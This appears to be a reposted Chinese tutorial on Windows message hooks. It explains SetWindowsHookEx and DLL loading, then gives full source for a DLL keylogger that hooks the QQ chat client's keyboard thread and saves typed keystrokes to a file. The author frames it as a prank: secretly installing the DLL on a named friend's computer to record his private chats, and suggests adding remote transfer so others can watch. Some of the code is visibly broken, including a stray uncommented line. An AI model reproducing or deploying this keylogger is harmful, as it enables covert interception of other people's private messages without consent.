消息hook

news2025/1/11 5:48:05

一、消息hook的定义

消息 Hook(Message Hook)是一种编程技术,用于拦截、监视和处理计算机程序中传递的消息或事件。它通常用于操作系统、图形界面框架、应用程序框架等软件系统中,允许开发人员在特定的事件发生时执行自定义代码。

消息 Hook 的基本原理是通过注册回调函数或钩子函数来捕获特定类型的消息或事件。当程序中的消息或事件发生时,操作系统或框架会调用相应的回调函数或钩子函数,并将消息的相关信息传递给它们。开发人员可以在这些函数中编写自己的代码来处理消息,例如修改消息内容、拦截消息传递、记录日志、执行特定操作等。

二、消息hook的主要作用

消息 Hook 的主要作用是在程序执行过程中对消息进行拦截和处理,以实现一些定制化的功能或修改程序的行为。它可以用于实现诸如以下功能:

1)监听和响应用户输入:通过捕获用户输入消息,可以实现键盘快捷键、鼠标点击、滚动等用户交互事件的自定义处理。

2)监视和拦截系统事件:可以拦截操作系统级别的事件,如窗口关闭、系统休眠、屏幕刷新等,以便进行额外的处理或记录。

3)修改和定制应用程序行为:通过拦截和修改应用程序内部的消息,可以实现修改程序的行为,如禁用某些功能、增强某些功能等。

4)日志记录和调试:可以捕获程序中的消息,记录到日志文件中,以便后续的调试和分析。

5)监控和分析程序性能:通过拦截特定的消息或事件,可以实现对程序性能的监控和分析,例如统计函数的调用次数、测量函数执行时间等。

我们都知道Windows操作系统是基于事件驱动的,事件被包装了消息发送给窗口,比如点击菜单,按钮,移动窗口等等,当消息产生的时候,操作系统就会捕捉到这个消息,放到操作系统的系统队列当中,然后OS从这个队列当中取消息,消息结构体当中包含这个消息需要发送给哪个窗口,接着操作系统把这个消息放到这个窗口的消息队列当中,窗口拿到消息之后调用回调函数来处理这个消息。

小结一下消息处理过程:

1)当按下键盘时,会产生一个键盘按下的消息,这个消息首先被加入到系统消息队列

2)操作系统从消息队列中取出消息,添加到相应的程序的消息队列中

3)程序自身通过GetMessage获取消息,DispatchMessage 分发消息,通过消息回调函数处理消息。

(下面的案例有待补充。。。有时间就更新,有人催更也更新)

{

使用Windows API创建窗口案例:

使用Windows API实现A窗口给B窗口发消息

}

hook的实现就是在操作系统把消息放入应用进程的消息队列的时候,对消息进行一个截获,然后调用钩子函数HOOK的处理程序,处理完之后再扔给下一个消息钩子(HOOK)或者直接扔到应用程序的消息队列中。hook实现的一个基础就是我们编写的一个包含钩子的一个dll文件,当这个dll钩住一个线程之后,就会截获这个线程的消息,假如操作系统发现这个包含钩子的dll不在目标进程当中但是它却接收了我发送给目标进程的消息,它就会以为这个dll就是属于该进程,因此就会把dll强制加载到目标进程当中,从而变相实现了dll注入。

注意:HOOK是针对线程的一个概念,它hook的是线程的消息。

                                

下面我们还是通过一个具体的案例来实现消息hook技术:

我们知道啊,从前有一个人叫浮沉,他自带逆向小分队第一深情的头衔,但是他的深情是多线程的,为了防止他沉迷在🚺的世界里而造成身心过度疲惫导致学习效率下降的情况出现,我决定在520这天悄悄在他电脑的学习资料里面加入一个dll文件,用来记录在他QQ上和妹妹的聊天记录,在他聊的火热的时候突然弹出来一个消息框,提醒他不要长时间🎣,这样对身体不好,并告诉他刚刚发的消息我全都看到了,如果他不相信就把我们刚刚钩取到的消息甩在他的脸上,并关掉他的QQ聊天软件,从而实现及时止损的目的,如果大家想学习一下浮沉的聊天技巧的话,还可以自行添加一下两个远程进程通信的功能,实现在线吃瓜的目的。

也就是说我们需要编写一个dll文件,通过消息hook的方式注入到QQ进程当中,以此来捕获你在这个应用进程窗口敲击键盘的消息。

在此之前先来解决几个小问题:

1、在switch的case后面不加break可以吗?

在C/C++的switch语句中,如果在case分支中不加break语句,会发生"case 穿透"(fall-through)现象。这意味着当满足某个case的条件时,程序会继续执行后续的case分支,而不会跳出switch语句块,比如:

int value = 2;
switch (value) {
    case 1:
        printf("Value is 1\n");
        break;
    case 2:
        printf("Value is 2\n");
    case 3:
        printf("Value is 3\n");
        break;
    default:
        printf("Unknown value\n");
        break;
}

在这个示例中,如果value的值为2,则会输出以下内容:

Value is 2
Value is 3

这是因为当value为2时,程序会执行第一个匹配到的case分支,即case 2,然后继续执行后续的case分支,直到遇到break语句或switch语句结束。

如果在case 2的分支中加上break语句,即case 2:改为case 2: break;,那么程序只会执行相应的case分支,并退出switch语句。

因此,根据需要和预期的逻辑,可以选择是否在case分支中加上break语句。如果希望在满足条件的case分支后继续执行后续的case分支,可以不加break语句;如果希望在匹配到某个case分支后立即退出switch语句,需要加上break语句。

2、LoadLibrary函数深度分析

1)LoadLibrary函数原型:

HMODULE LoadLibrary(LPCTSTR lpFileName);

lpFileName:一个以null结尾的字符串,指定要加载的DLL文件的路径。可以是绝对路径或相对路径。

2)在哪个进程当中调用LoadLibrary函数,传递的dll文件就会被加载到哪个进程当中去,而且一旦dll文件被加载进来,就会立刻调用DllMain函数(一旦加载就调用,销毁的时候还会调用一次),在DllMain当中还可以指定具体的调用时机,这意味着如果有新的线程创建和销毁同样还会调用这个进程当中的dll的DllMain函数(所有显式加载和隐式加载的dll都会被调用它的DllMain函数),因此DllMain有可能在4种情况下被调用:

DLL_PROCESS_ATTACH:dll文件第一次被进程加载的时候调用

DLL_THREAD_ATTACH:在这个exe当中有新的线程被创建的时候,会由线程再调用一次DllMain

DLL_THREAD_DETACH:进程当中新创建的线程(不是主线程)被销毁的时候调用一次

DLL_PROCESS_DETACH:进程结束的时候调用一次

我们可以根据不同的调用时机,走不同的处理流程。

3)顺便介绍一下dll的两种加载方式:

  1. 显式加载DLL:进程可以使用LoadLibrary函数显式加载指定的DLL文件。这样,当进程调用LoadLibrary函数时,操作系统会加载并初始化该DLL,并返回一个句柄供进程使用。

  2. 隐式链接DLL:当进程执行可执行文件时,操作系统会根据可执行文件中的导入表(Import Table)检查所依赖的DLL。然后,操作系统自动加载和初始化这些DLL,并将它们的导出函数与可执行文件中的对应函数进行链接。

HC_ACTION (0):表示钩子程序需要处理消息。当 code 等于 HC_ACTION 时,钩子函数应该处理接收到的消息,并可以选择返回一个非零值来指示消息已被处理。

3、SetWindowsHookExA函数介绍

1)参数说明:

  • idHook:指定要安装的钩子类型,可以是以下值之一:
    • WH_KEYBOARD:键盘钩子,用于监视键盘输入事件。
    • WH_MOUSE:鼠标钩子,用于监视鼠标输入事件。
    • 其他钩子类型,如WH_CALLWNDPROCWH_CBT等。具体钩子类型可以查阅相关文档。
  • lpfn:指向钩子过程(钩子回调函数)的指针,它负责处理拦截到的事件或消息。
  • hMod:指定包含钩子过程的DLL模块的句柄。通常可以使用NULL来指定当前进程的可执行文件作为DLL模块。
  • dwThreadId:指定要安装钩子的线程标识符。如果为0,则钩子将应用于所有线程。

2)SetWindowsHookExA函数的工作流程如下:

  1. 根据idHook指定的钩子类型和lpfn指定的钩子过程,创建一个系统级钩子,并将其安装到系统中。
  2. 每当系统中发生与钩子类型相对应的事件或消息时,调用钩子过程进行处理。
  3. 钩子过程可以修改、监视或拦截事件或消息,然后将控制权传递给下一个钩子或目标窗口过程。

3)通过SetWindowsHookExA函数,我们可以实现以下功能:

  • 监视和拦截特定事件或消息,以便进行自定义处理。
  • 进行全局的键盘、鼠标等输入事件的监听和拦截。
  • 实现系统级的消息处理和行为修改。

4)具体示例:

#include <Windows.h>
#include <stdio.h>

// 键盘钩子回调函数
LRESULT CALLBACK KeyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode >= 0) {
        // 解析键盘事件
        KBDLLHOOKSTRUCT* pKeyboardStruct = (KBDLLHOOKSTRUCT*)lParam;
        if (wParam == WM_KEYDOWN) {
            printf("按下键盘按键,扫描码:%d\n", pKeyboardStruct->scanCode);
        }
    }

    // 继续传递事件给下一个钩子或目标窗口过程
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

int main() {
    // 设置键盘钩子
    HHOOK hKeyboardHook = SetWindowsHookExA(WH_KEYBOARD_LL, KeyboardHookProc, NULL, 0);
    if (hKeyboardHook == NULL) {
        printf("无法设置键盘钩子\n");
        return 1;
    }

    // 消息循环,等待键盘事件
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0) > 0) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    // 卸载钩子
    UnhookWindowsHookEx(hKeyboardHook);

    return 0;
}

4、使用MessageBoxA打印格式化字符串

》MessageBox 打印格式化字符串,可以使用 sprintf_s 函数将格式化后的字符串存储到一个缓冲区中,然后将该缓冲区的内容作为消息框的文本进行显示。以下是实现这一功能的示例代码: 

#include <Windows.h>
#include <stdio.h>

void ShowFormattedMessageBox(const char* format, ...)
{
    char buffer[256];
    va_list args;
    va_start(args, format);
    vsprintf_s(buffer, sizeof(buffer), format, args);
    va_end(args);

    MessageBoxA(NULL, buffer, "Formatted MessageBox", MB_OK);
}

int main()
{
    int age = 30;
    const char* name = "John Doe";

    ShowFormattedMessageBox("My name is %s and I am %d years old.", name, age);

    return 0;
}

5、向char类型的数组里写入数据

#include <cstring>

int main() {
    char array[100];
    const char* source = "Hello, World!";

    // 使用 strcpy 将字符串复制到数组中
    strcpy(array, source);

    // 或者使用 strncpy 设置指定长度的字符串
    // strncpy(array, source, sizeof(array) - 1);
    // array[sizeof(array) - 1] = '\0'; // 确保末尾有终止字符

    return 0;
}

 6、strcpy_s的使用

#include <cstring>

int main() {
    char array[100];
    const char* source = "Hello, World!";

    // 使用 strcpy_s 将源字符串复制到目标字符数组中
    strcpy_s(array, sizeof(array), source);

    return 0;
}

在上述示例中,strcpy_s 函数的第一个参数是目标字符数组的指针,第二个参数是目标字符数组的大小(以字节为单位),第三个参数是源字符串的指针。函数会将源字符串复制到目标字符数组中,并在复制完成后自动添加终止字符 \0

需要注意的是,strcpy_s 会根据目标字符数组的大小自动进行边界检查,以防止缓冲区溢出。如果目标字符数组的大小小于源字符串的长度(包括终止字符 \0),则会触发运行时错误,并返回非零错误码。因此,确保目标字符数组的大小足够大以容纳源字符串是非常重要的。

三、具体案例编写

下面进入激动人心的编码时刻吧!我这里直接使用全局的消息hook了,如果有时间或者有人催更就再实现对于QQ消息窗口里消息的特定hook。。。同时再挖一个坑:接获消息并修改消息?

今天刚打完球,心情好,玩个花哨的,把保存的聊天记录写在内存映射文件当中,如果你对内存映射文件不熟悉的话,可以参考我的这篇文章:Windows管理内存的3种方式——堆、虚拟内存、共享内存

以下是完整代码部分:

1)dll文件:


#include "pch.h"
#include<iostream>
using namespace std;
static HMODULE g_hMod = NULL;
static HHOOK g_hHook = NULL;
static LPVOID g_pMappedData = NULL;
static HANDLE g_hFile = NULL;
static HANDLE g_hMapFile = NULL;
#include <Windows.h>
#include <stdio.h>
static int cnt = 0;
#define PAGE_SIZE 1024

static char chatBuf[PAGE_SIZE] = { 0 };

//输出格式化字符串
void ShowFormattedMessageBox(const char* format, ...)
{
    char buffer[256];
    va_list args;
    va_start(args, format);
    vsprintf_s(buffer, sizeof(buffer), format, args);
    va_end(args);

    MessageBoxA(NULL, buffer, "Formatted MessageBox", MB_OK);
}

BOOL IvGetIthhh() {
    
    g_hFile = CreateFileA("G:\\WritingCode\\cpp\\逆向代码\\Day04\\消息hook\\keyboard\\浮沉聊天记录.txt", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    ShowFormattedMessageBox("文件句柄:%d", (int)g_hFile);
    if (g_hFile == INVALID_HANDLE_VALUE) {
        printf("Failed to create file\n");
        return FALSE;
    }

    const DWORD fileSize = PAGE_SIZE;

    // 创建内存映射文件
    g_hMapFile = CreateFileMapping(g_hFile, NULL, PAGE_READWRITE, 0, fileSize, NULL);
    if (g_hMapFile == NULL) {
        printf("Failed to create mapped file\n");
        CloseHandle(g_hFile);
        return FALSE;
    }

    // 将文件映射到进程地址空间
    g_pMappedData = MapViewOfFile(g_hMapFile, FILE_MAP_ALL_ACCESS, 0, 0,fileSize);
    printf("g_pMappedData:%d", (int)g_pMappedData);
    if (g_pMappedData == NULL) {
        printf("Failed to map view of file\n");
        CloseHandle(g_hMapFile);
        CloseHandle(g_hFile);
        return FALSE;
    }

    // 读取内存映射区域的数据
    //在属于进程的dll当中调用printf会在原进程的控制台输出!因为dll是属于进程的
    printf("浮沉的QQ聊天记录已经写入文件当中!\n", (char*)g_pMappedData);
    
    return 0;
}

LRESULT CALLBACK KeyBoardProc(
	_In_ int    code,
	_In_ WPARAM wParam,
	_In_ LPARAM lParam
)
{
	//如果这个消息需要当前的这个钩子函数来处理》if(code>=0)就是需要处理的
    //lParam & 0x80000000==0的作用就是键盘按下的意思,如果不加的话按下和释放键盘都会触发下面的流程
    
	if (code == HC_ACTION && ((lParam & 0x80000000) == 0))
	{
        if (cnt == 0) {
            IvGetIthhh();
        }
        
		BYTE KeyState[256]{ 0 };
		if (GetKeyboardState(KeyState))
		{
			LONG keyinfo = lParam;
			UINT keyCode = (keyinfo >> 16) & 0x00ff;
			WCHAR wkeyCode = 0;
			ToAscii((UINT)wParam, keyCode, KeyState, (LPWORD)&wkeyCode, 0);
            CHAR strinfo[12] = { 0 };
            sprintf_s(strinfo, _countof(strinfo), "%c", wkeyCode);
            
             在内存映射区域写入数据
            const char* str = "I love cxk";
            strcpy_s(chatBuf+(cnt++), sizeof(chatBuf), strinfo);
            MessageBoxA(0, "okkkkkk", "hhh", MB_OK);
            if (g_pMappedData == NULL) {
                MessageBoxA(0, "无效内存", "hhh", MB_OK);
                return 0;
            }
            strcpy_s((char*)g_pMappedData, sizeof(chatBuf), chatBuf);
            MessageBoxA(0, "ok", "hhh", MB_OK);
            FlushViewOfFile(g_pMappedData, strlen(chatBuf));
			return 0;
		}
	}
	//当前钩子函数不处理消息,交给下一个钩子来处理
	return CallNextHookEx(g_hHook, code, wParam, lParam);
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    int x = 0;
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH: {
        MessageBoxA(NULL, "dll调用了", "提示", MB_OK);
        
        g_hMod = hModule;
        HWND hwndQQ = FindWindowA("TXGuiFoundation", NULL);
        DWORD dwThreadId = GetWindowThreadProcessId(hwndQQ, NULL);
        if (dwThreadId > 0) {
            MessageBoxA(0, "找到了QQ窗口", "hh", MB_OK);
        }

        
		g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyBoardProc, g_hMod, dwThreadId);
        break;
    }
    case DLL_THREAD_ATTACH:

        break;
    case DLL_THREAD_DETACH:

        break;
    case DLL_PROCESS_DETACH: {
        UnhookWindowsHookEx(g_hHook);
        //关闭内存映射文件对象和文件对象
        UnmapViewOfFile(g_pMappedData);
        CloseHandle(g_hMapFile);
        CloseHandle(g_hFile);
        break;
    }
    }
    return TRUE;
}

2)exe文件:

#include <iostream>
#include<Windows.h>


int main()
{
    HMODULE hModule=LoadLibraryA("keyboard.dll");
    system("pause");
    return 0;
}

运行结果截图: 

 

可以看到浮沉的聊天记录已经被同步到文件当中去了~~~😁😁😁

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/561625.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

chatgpt赋能Python-python_pubsub

Python PubSub - 一个高效的事件通知机制 在软件开发中&#xff0c;事件驱动编程是一种广泛使用的编程模型。在该模型中&#xff0c;应用程序中的各个组件通过发布和订阅事件来进行通信。Python PubSub是Python中一个有用的事件通知机制&#xff0c;它允许应用程序中不同部分通…

volatile是线程安全的吗?它的底层原理如何实现的?

目录 一、线程安全三要素 二、可见性&#xff08;强制刷新主内存&#xff09; 三、有序性&#xff08;禁止指令重排序&#xff09; 四、总结 一、线程安全三要素 1&#xff09;原子性&#xff1a; 一个操作或者多个操作&#xff0c;要么全部执行成功&#xff0c;要么全部执…

Kali-linux使用NVIDIA计算机统一设备架构(CUDA)

CUDA&#xff08;Compute Unified Device Architecture&#xff09;是一种由NVIDIA推出的通用并行计算架构&#xff0c;该架构使用GPU能够解决复杂的计算问题。它包含了CUDA指令集架构&#xff08;ISA&#xff09;及GPU内部的并行计算引擎。用户可以使用NVIDIA CUDA攻击使用哈希…

chatgpt赋能Python-python_pyusb

了解Python pyusb Python pyusb是Python的USB库&#xff0c;用于与USB设备进行通信。它提供了一个Pythonic的API&#xff0c;使得与USB设备进行通信变得非常简单。 什么是Python pyusb Python pyusb是一个Python的USB库&#xff0c;用于与USB设备进行通信。它是基于libusb的…

golang反向代理设置host不生效

文章目录 一、背景二、排查过程1、打印req.header2、tcpdump抓包分析&#xff08;1&#xff09;先抓取8080端口的请求&#xff0c;查看header差异&#xff08;2&#xff09;抓取目标域名请求体1&#xff09;网关没有配置header,且proxy清空header2&#xff09;网关配置header,且…

WPF MaterialDesign 初学项目实战(6):设计首页(2),设置样式触发器。已完结

原项目视频 WPF项目实战合集(2022终结版) 26P 源码地址 WPF项目源码 其他内容 WPF MaterialDesign 初学项目实战&#xff08;0&#xff09;:github 项目Demo运行 WPF MaterialDesign 初学项目实战&#xff08;1&#xff09;首页搭建 WPF MaterialDesign 初学项目实战&…

微服务开发系列 第五篇:Redis

总概 A、技术栈 开发语言&#xff1a;Java 1.8数据库&#xff1a;MySQL、Redis、MongoDB、Elasticsearch微服务框架&#xff1a;Spring Cloud Alibaba微服务网关&#xff1a;Spring Cloud Gateway服务注册和配置中心&#xff1a;Nacos分布式事务&#xff1a;Seata链路追踪框架…

STL-常用算法(二.拷贝 替换 算术 集合)

开篇先附上STL-常用算法(一)的链接 STL-常用算法&#xff08;一.遍历 查找 排序&#xff09;_小梁今天敲代码了吗的博客-CSDN博客 目录 常用拷贝和替换算法&#xff1a; copy函数示例&#xff1a;&#xff08;将v1容器中的元素复制给v2&#xff09; replace函数示例&#…

06:冯诺依曼计算机

布尔代数&#xff1a;是现代电子计算机的数学和逻辑基础 ---------- 布尔代数与开关电路&#xff1a; ---------- 1945年&#xff1a;冯诺依曼101报告 硬件&#xff0c;操作系统软件、防病毒软件、办公软件、日程生活娱乐软件...... 冯诺依曼体系结构&#xff1a; 算术逻辑单…

chatgpt赋能Python-python_pu__

Python pu()函数介绍及使用方法 在Python编程中&#xff0c;pu()函数是一个常用的输出函数&#xff0c;可以将输出的内容打印到控制台上。在这篇文章中&#xff0c;我们将探讨pu()函数的具体用法以及它在Python编程中的实际应用。 什么是pu()函数 pu()函数是Python标准库中的…

Nacos、Eureka和Zookeeper有什么区别

Nacos、Eureka和Zookeeper都是服务注册中心&#xff0c;它们的主要功能是管理分布式系统中各个微服务实例的注册与发现。它们之间的主要区别在于&#xff1a; 1. 语言支持&#xff1a;Nacos是用Java语言开发的&#xff0c;Eureka是用Java语言开发的&#xff0c;Zookeeper则是用…

MySQL高级篇——覆盖索引、前缀索引、索引下推、SQL优化、主键设计

导航&#xff1a; 【Java笔记踩坑汇总】Java基础进阶JavaWebSSMSpringBoot瑞吉外卖SpringCloud黑马旅游谷粒商城学成在线MySQL高级篇设计模式牛客面试题 目录 8. 优先考虑覆盖索引 8.1 什么是覆盖索引&#xff1f; 8.1.0 概念 8.0.1 覆盖索引情况下&#xff0c;“不等于”…

chatgpt赋能Python-python_pythoncom

Python与Pythoncom&#xff1a;为您的SEO提供强大的支持 Python是一种经过广泛应用的高级编程语言&#xff0c;可用于多种应用程序的开发&#xff0c;包括爬虫、机器学习、数据分析、Web开发等等。而Pythoncom则是用于与Windows系统进行交互的Python模块&#xff0c;可以实现与…

小航编程题库机器人等级考试理论一级(2022年12月) (含题库教师学生账号)

需要在线模拟训练的题库账号请点击 小航助学编程在线模拟试卷系统&#xff08;含题库答题软件账号&#xff09;_程序猿下山的博客-CSDN博客 单选题2.0分 删除编辑 答案:C 第1题下列哪个是机器人?&#xff08; &#xff09; A、aB、bC、cD、d 答案解析&#xff1a; 单选题…

小航编程题库机器人等级考试理论一级(2022年6月) (含题库教师学生账号)

需要在线模拟训练的题库账号请点击 小航助学编程在线模拟试卷系统&#xff08;含题库答题软件账号&#xff09;_程序猿下山的博客-CSDN博客 单选题2.0分 删除编辑 答案:D 第1题下列哪个选项属于机器人&#xff1f;&#xff08;?&#xff09; A、aB、bC、cD、d 答案解析&a…

MySQL第一章、MySQL安装与配置

目录 一、数据库介绍 1.1什么是数据库 1.2数据库分类 1.3数据库编程 1.4其他客户端 ​1.5MySQL总结 一、数据库介绍 1.1什么是数据库 存储数据用文件就可以了&#xff0c;为什么还要弄个数据库? 文件保存数据有以下几个缺点&#xff1a; 文件的安全性问题文件不利于数…

chatgpt赋能Python-python_plup

Python Plug-In: 如何让你的Python代码更加高效&#xff1f; Python是一种高级编程语言&#xff0c;它的代码易于阅读和编写&#xff0c;通常是程序员的首选语言之一。但是&#xff0c;Python本身并不能满足所有需求&#xff0c;如果需要做一些复杂的任务&#xff0c;就需要使…

物联网应用的全球最低功耗无线芯片——芝麻芯片和大米天线

今天的内容是两则科技新闻&#xff0c;“用于物联网应用的全球最低功耗的无线芯片”&#xff0c;和“一款多频段微型芯片天线”。由于芯片的面积分别为1平方毫米&#xff0c;和21平方毫米&#xff0c;差不多是1粒芝麻和2粒大米的大小&#xff0c;故称为芝麻芯片和大米天线。 0…

easypan部署记录

文章目录 项目部署学习链接1.安装ffmpeglinux centos下安装ffmpeg的详细教程 2. springboot maven 多环境配置文件pom.xmlapplication.propertiesapplication-dev.propertiesapplication-prod.propertieslogback.xml 3. 配置nginx配置要点nginx配置 4. 启动项目5.访问 项目部署…

Java --- 云尚办公之权限管理模块

目录 一、权限管理 二、JWT 三、用户登录功能实现 四、用户登录后的信息 五、前端代码 六、spring-security 6.1、用户认证 6.2、用户授权 一、权限管理 粗粒度权限&#xff1a; 不同用户进入系统&#xff0c;因权限不同看到菜单不同 细粒度权限&#xff1a; 在一个页…